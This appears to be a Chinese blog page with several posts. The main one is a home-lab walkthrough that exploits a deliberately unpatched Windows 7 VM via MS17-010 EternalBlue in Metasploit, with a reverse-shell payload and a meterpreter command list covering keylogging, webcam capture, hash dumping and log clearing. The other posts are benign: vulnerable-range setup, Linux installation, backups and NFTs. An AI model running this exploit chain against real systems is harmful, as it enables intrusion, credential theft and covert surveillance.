靶机环境的搭建文件名 en_windows_7_enterprise_with_sp1_x64_dvd_u_677651.iso SHA1 A491F985DCCFB5863F31B728DDDBEDB2FF4DF8D1 文件大小 2.96GB 发布时间 2011-05-12 ed2k://|file|en_windows_7_enterprise_with_sp1_x64_dvd_u_677651.iso|3182604288|E4D1A2A7BB46706F6545E713EA32A5F3|/将ed2k链接复制到迅雷即可开始下载漏洞介绍链接https://learn.microsoft.com/zh-cn/security-updates/securitybulletins/2017/ms17-010安装Windows7靶机本文演示使用Vsphere进行安装Windows7其用法与VMware workation类似选择典型选择系统版本填写虚拟机名称选择磁盘大小选择ISO镜像完成创建即可。选择开始安装同意许可选择custom自定义选择next安装完成后会自动重启填写计算机名称ms17填写密码123456选择稍后询问选择public network至此安装完成,还需要关闭防火墙在控制中心中找到安全至此配置完成。在攻击机中ping 靶机的IP地址可以ping通漏洞复现启动msf框架sudo msfdb run搜索ms17-010模块msf6 > search ms17-010 Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption 1 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution 2 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution 3 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection 4 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/smb/smb_doublepulsar_rce 使用探测模块,查看当前系统是否存在ms17-010漏洞msf6 > use auxiliary/scanner/smb/smb_ms17_010查看需要设置的选项msf6 auxiliary(scanner/smb/smb_ms17_010) > show options Module options (auxiliary/scanner/smb/smb_ms17_010): Name Current Setting Required Description ---- --------------- -------- ----------- CHECK_ARCH true no Check for architecture on vulnerable hosts CHECK_DOPU true no Check for DOUBLEPULSAR on vulnerable hosts CHECK_PIPE false no Check for named pipe on vulnerable hosts NAMED_PIPES /usr/share/metasploit-framework/data/wordlists/named_pipes.txt yes List of named pipes to check RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit RPORT 445 yes The SMB service port (TCP) SMBDomain . no The Windows domain to use for authentication SMBPass no The password for the specified username SMBUser no The username to authenticate as THREADS 1 yes The number of concurrent threads (max one per host)我们看到,只需要设置目标IP地址即可msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.0.106 rhosts => 192.168.0.106运行run执行msf6 auxiliary(scanner/smb/smb_ms17_010) > run [+] 192.168.0.106:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Enterprise 7601 Service Pack 1 x64 (64-bit) [*] 192.168.0.106:445 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed运行back返回退出模块msf6 auxiliary(scanner/smb/smb_ms17_010) > back选择攻击模块,msf6 > use exploit/windows/smb/ms17_010_eternalblue [*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp查看模块选项msf6 exploit(windows/smb/ms17_010_eternalblue) > show options Module options (exploit/windows/smb/ms17_010_eternalblue): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-fram ework/wiki/Using-Metasploit RPORT 445 yes The target port (TCP) SMBDomain no (Optional) The Windows domain to use for authentication. Only aff ects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines. SMBPass no (Optional) The password for the specified username SMBUser no (Optional) The username to authenticate as VERIFY_ARCH true yes Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 t arget machines. VERIFY_TARGET true yes Check if remote OS matches exploit Target. Only affects Windows S erver 2008 R2, Windows 7, Windows Embedded Standard 7 target mach ines. Payload options (windows/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.0.114 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Automatic Target 我们可以看到只需设置目标IP地址msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.0.106 rhosts => 192.168.0.106执行后即可看到攻击成功.输入shell即可进入windows命令提示符whoami查看所获取的权限.可以看到权限为system32权限.为系统内的最高权限.ctrl+c退出shell可以运行help查看meterpreter > help Core Commands ============= Command Description ------- ----------- ? Help menu background Backgrounds the current session bg Alias for background bgkill Kills a background meterpreter script bglist Lists running background scripts bgrun Executes a meterpreter script as a background thread channel Displays information or control active channels close Closes a channel detach Detach the meterpreter session (for http/https) disable_unicode_encoding Disables encoding of unicode strings enable_unicode_encoding Enables encoding of unicode strings exit Terminate the meterpreter session get_timeouts Get the current session timeout values guid Get the session GUID help Help menu info Displays information about a Post module irb Open an interactive Ruby shell on the current session load Load one or more meterpreter extensions machine_id Get the MSF ID of the machine attached to the session migrate Migrate the server to another process pivot Manage pivot listeners pry Open the Pry debugger on the current session quit Terminate the meterpreter session read Reads data from a channel resource Run the commands stored in a file run Executes a meterpreter script or Post module secure (Re)Negotiate TLV packet encryption on the session sessions Quickly switch to another session set_timeouts Set the current session timeout values sleep Force Meterpreter to go quiet, then re-establish session ssl_verify Modify the SSL certificate verification setting transport Manage the transport mechanisms use Deprecated alias for "load" uuid Get the UUID for the current session write Writes data to a channel Stdapi: File system Commands ============================ Command Description ------- ----------- cat Read the contents of a file to the screen cd Change directory checksum Retrieve the checksum of a file cp Copy source to destination del Delete the specified file dir List files (alias for ls) download Download a file or directory edit Edit a file getlwd Print local working directory getwd Print working directory lcat Read the contents of a local file to the screen lcd Change local working directory lls List local files lpwd Print local working directory ls List files mkdir Make directory mv Move source to destination pwd Print working directory rm Delete the specified file rmdir Remove directory search Search for files show_mount List all mount points/logical drives upload Upload a file or directory Stdapi: Networking Commands =========================== Command Description ------- ----------- arp Display the host ARP cache getproxy Display the current proxy configuration ifconfig Display interfaces ipconfig Display interfaces netstat Display the network connections portfwd Forward a local port to a remote service resolve Resolve a set of host names on the target route View and modify the routing table Stdapi: System Commands ======================= Command Description ------- ----------- clearev Clear the event log drop_token Relinquishes any active impersonation token. execute Execute a command getenv Get one or more environment variable values getpid Get the current process identifier getprivs Attempt to enable all privileges available to the current process getsid Get the SID of the user that the server is running as getuid Get the user that the server is running as kill Terminate a process localtime Displays the target system local date and time pgrep Filter processes by name pkill Terminate processes by name ps List running processes reboot Reboots the remote computer reg Modify and interact with the remote registry rev2self Calls RevertToSelf() on the remote machine shell Drop into a system command shell shutdown Shuts down the remote computer steal_token Attempts to steal an impersonation token from the target process suspend Suspends or resumes a list of processes sysinfo Gets information about the remote system, such as OS Stdapi: User interface Commands =============================== Command Description ------- ----------- enumdesktops List all accessible desktops and window stations getdesktop Get the current meterpreter desktop idletime Returns the number of seconds the remote user has been idle keyboard_send Send keystrokes keyevent Send key events keyscan_dump Dump the keystroke buffer keyscan_start Start capturing keystrokes keyscan_stop Stop capturing keystrokes mouse Send mouse events screenshare Watch the remote user desktop in real time screenshot Grab a screenshot of the interactive desktop setdesktop Change the meterpreters current desktop uictl Control some of the user interface components Stdapi: Webcam Commands ======================= Command Description ------- ----------- record_mic Record audio from the default microphone for X seconds webcam_chat Start a video chat webcam_list List webcams webcam_snap Take a snapshot from the specified webcam webcam_stream Play a video stream from the specified webcam Stdapi: Audio Output Commands ============================= Command Description ------- ----------- play play a waveform audio file (.wav) on the target system Priv: Elevate Commands ====================== Command Description ------- ----------- getsystem Attempt to elevate your privilege to that of local system. Priv: Password database Commands ================================ Command Description ------- ----------- hashdump Dumps the contents of the SAM database Priv: Timestomp Commands ======================== Command Description ------- ----------- timestomp Manipulate file MACE attributes 至此攻击完成.
首先利用ssh远程连接到centos7,便于命令的复制与粘贴安装Dockeryum install -y docker查看docker当前的状态输入docker version出现以下内容则代表安装成功[root@192 ~]# docker version Client: Version: 1.13.1 API version: 1.26 Package version: Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running?启动docker并设置为开机自启动systemctl start docker systemctl enable docker配置docker的镜像源笔者在这里使用中科大的docker源大家也可以使用阿里云的docker源在配置文件 /etc/docker/daemon.json 中加入:{ "registry-mirrors": ["https://docker.mirrors.ustc.edu.cn/"]}重新启动 dockerd:sudo systemctl restart docker配置完成之后,执行docker info查看是否配置成功安装DVWA使用docker拉取DVWA镜像docker pull vulnerables/web-dvwa运行DVWAdocker run --rm -it -p 80:80 vulnerables/web-dvwa出现这个界面代表运行成功,可以在浏览器中输入ip即可进入DVWA靶场账号admin密码password点击创建即可完成搭建点解log in登录即可至此dvwa靶场搭建完成安装Pikachu首先需要安装git工具将pikachu的源代码给拉取下来yum install -y git拉取Pikachugit clone https://github.com/zhuifengshaonianhanlu/pikachu.git进入pikachu目录cd pikachu将pikachu编译为docker镜像docker build -t "pikachu" .运行pikachudocker run -d -p8080:80 pikachu输入你的IP地址加端口号8080例如http://192.168.0.11:8080/点击进行初始化至此环境搭建完成
下载centos7可以在官网中下载,也可以到中科大镜像仓库中去下载中科大下载链接:https://iso.mirrors.ustc.edu.cn/centos/7.9.2009/isos/x86_64/CentOS-7-x86_64-Minimal-2009.iso我将演示在vcenter中创建并安装centos7虚拟机,VMware workation步骤也近乎相同选择存储池选择兼容性默认即可选择操作系统根据自己的配置情况进行设置查看是否有设置错误没有问题点击完成即可使用VMware workation连接vcenter点击开启此虚拟机即可开始安装在这里选择第一项回车选择语言设置安装硬盘,开启网络开始安装即可在这里设置root用户的密码即可出现reboot时代表安装成功,点击即可重启centos7并进入
首先安装常用的软件yum install -y vim curl wget lrzsz看到complete代表安装完成配置静态IP地址使用vim编辑网卡文件,你的最后一个文件名可能会与笔者的不同,例如可能是ifcfg-ens33而笔者的则是ifcfg-ens192,在这里需要读者随机应变,需要将bootproto后面的dhcp改为static IPADDR=192.168.0.10 #静态IP GATEWAY=192.168.0.1 #默认网关 NETMASK=255.255.255.0 #子网掩码 DNS1=192.168.0.1 #DNS 配置 配置完成后需重新启动网卡systemctl restart network重启完成后执行ip a查看是否修改成功尝试能否ping通外网配置完成后可以开启ssh默认是开启的开启后即可通过ssh远程连接centos7系统了,使用xshell连接,可以成功登录。
首先设置root用户的账号密码sudo passwd root输入你想给root设置的密码进入root用户在终端中执行su - root命令输入root用户的密码即可进入把国外的仓库源更换为国内的仓库源在这里我建议大家使用ustc中科大的源编辑 /etc/apt/sources.list 文件, 在文件最前面添加以下条目:deb https://mirrors.ustc.edu.cn/kali kali-rolling main non-free contribdeb-src https://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib更改完 sources.list 文件后请运行 sudo apt-get update 更新索引以生效。在这里我使用VIM编辑器来进行编辑,按i进入编辑模式,按ctrl+shift+v进行粘贴,把kalli默认的源给注释掉(在前面加#)按esc :wq保存退出执行apt update 更新仓库源更新完后,可以执行apt upgrade更新系统,更新时需要耗费较长时间,建议在时间充裕时进行更新
2023年06月
2023年05月
2023年04月
2023年03月
2023年01月
2022年12月
2022年11月
2022年10月
数据备份的重要性在于防止数据丢失和恢复数据,这对于企业和个人用户都非常关键。以下是数据备份的几个重要原因:
防止数据丢失:由于硬件故障、人为错误、恶意软件或自然灾害等原因,数据可能会丢失。备份可以帮助保护数据免受这些风险。
恢复数据:如果数据丢失或损坏,备份可以帮助用户快速恢复数据,从而减少业务中断时间和数据损失。
数据保密性和完整性:备份可以确保数据的机密性和完整性,因为备份存储通常具有安全性措施,如加密和访问控制。
合规性要求:某些行业和法规对数据备份和恢复提出了要求,如金融、医疗保健和法律行业。
综上所述,数据备份对于保护个人和企业的数据安全至关重要,并且应该作为一项日常实践来实施。 在备份数据时可以使用以下一些方式:
将重要文件复制到云存储服务,例如Google Drive,Dropbox或OneDrive。 使用外部硬盘或USB驱动器进行本地备份。 使用网络存储设备(NAS)进行本地备份并访问远程存储。 定期创建系统映像或克隆磁盘以备份整个操作系统和应用程序。 使用在线备份服务,例如Backblaze或Carbonite。
NFT现在大部分人都是用来炒作赚钱,而距离我们想象中的web3世界还有一段很长的路要走,我现在对NFT感到十分的迷茫,不知它的价值应该体现在哪里,但是我仍然相信他有一个美好的未来,这就像互联网初期一样,充满着无限的机遇但也困难重重。希望未来NFT可以作为一种基础的民生设施而不是炒作。